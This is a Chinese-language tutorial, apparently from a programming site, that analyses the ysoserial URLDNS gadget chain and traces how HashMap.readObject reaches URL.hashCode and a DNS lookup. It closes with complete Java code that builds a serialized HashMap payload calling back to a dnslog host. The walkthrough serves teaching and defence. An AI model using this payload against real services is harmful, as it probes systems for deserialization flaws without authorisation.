java?安全ysoserial?URLDNS利用鏈分析
JAVA序列化和反序列化的基本概念
在分析URLDNS之前,必須了解JAVA序列化和反序列化的基本概念。
其中幾個重要的概念:
需要讓某個對象支持序列化機制,就必須讓其類是可序列化,為了讓某類可序列化的,該類就必須實現(xiàn)如下兩個接口之一:
Serializable:標記接口,沒有方法
Externalizable:該接口有方法需要實現(xiàn),一般不用這種
序列化對象時,默認將里面所有屬性都進行序列化,但除了static或transient修飾的成員。
序列化具備可繼承性,也就是如果某類已經(jīng)實現(xiàn)了序列化,則它的所有子類也已經(jīng)默認實現(xiàn)了序列化。
序列化和反序列化的類
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常會在類中重寫該方法,為實現(xiàn)反序列化的時候自動執(zhí)行。
簡單測試
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
}
public void run(){
System.out.println("urldns run");
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}重寫的readobject方法
對這個測試類Urldns做序列化后,反序列化的時候執(zhí)行了重寫的readobject方法。
import java.io.*;
public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
}
public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}所以只要對readobject方法做重寫就可以實現(xiàn)在反序列化該類的時候得到執(zhí)行。
分析URLDNS的利用鏈
利用鏈的思路大致如此,那么分析URLDNS的利用鏈。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}該類實際返回HashMap類型,但是HashMap用來用來存儲數(shù)據(jù)的數(shù)組是transient,序列化時忽略數(shù)據(jù)。
因為HashMap重寫了writeobject方法,在writeobject實現(xiàn)了對數(shù)據(jù)的序列化。
還存在重寫readobject方法,那么分析readobject中的內(nèi)容。
方法中遍歷key值執(zhí)行putVal方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}觸發(fā):
putVal(hash(key), key, value, false, false);
觸發(fā):
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}這里的key對象如果是URL對象,那么就
觸發(fā):URL類中的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}觸發(fā)DNS請求:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}在hashCode=-1的時候,可以觸發(fā)DNS請求,而hashCode私有屬性默認值為-1。
所以為了實現(xiàn)readobject方法的DNS請求,接下來要做的是:
1、制造一個HashMap對象,且key值為URL對象;
2、保持私有屬性hashcode為-1;
所以構造DNS請求的HashMap對象內(nèi)容應該是:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}至于為什么在序列化的時候要通過反射將url對象中的hashCode屬性稍微非-1,是因為hashCode的put方法也實際調(diào)用的是putVal(hash(key), key, value, false, true);
這個過程將觸發(fā)一次DNS請求。
以上就是java 安全ysoserial URLDNS利用鏈分析的詳細內(nèi)容,更多關于java 安全 ysoserial URLDNS的資料請關注腳本之家其它相關文章!
相關文章
MyBatis實現(xiàn)表連接查詢寫法(三種對應關系)的方法總結(jié)
這篇文章主要介紹了MyBatis實現(xiàn)表連接查詢寫法(一對一關系、一對多關系、多對多關系)的方法,文中的示例代碼講解詳細,感興趣的可以了解一下2023-01-01
Spring?Security實現(xiàn)分布式系統(tǒng)授權方案詳解
這篇文章主要介紹了Spring?Security實現(xiàn)分布式系統(tǒng)授權,本節(jié)完成注冊中心的搭建,注冊中心采用Eureka,本文通過示例代碼圖文相結(jié)合給大家介紹的非常詳細,需要的朋友可以參考下2022-02-02

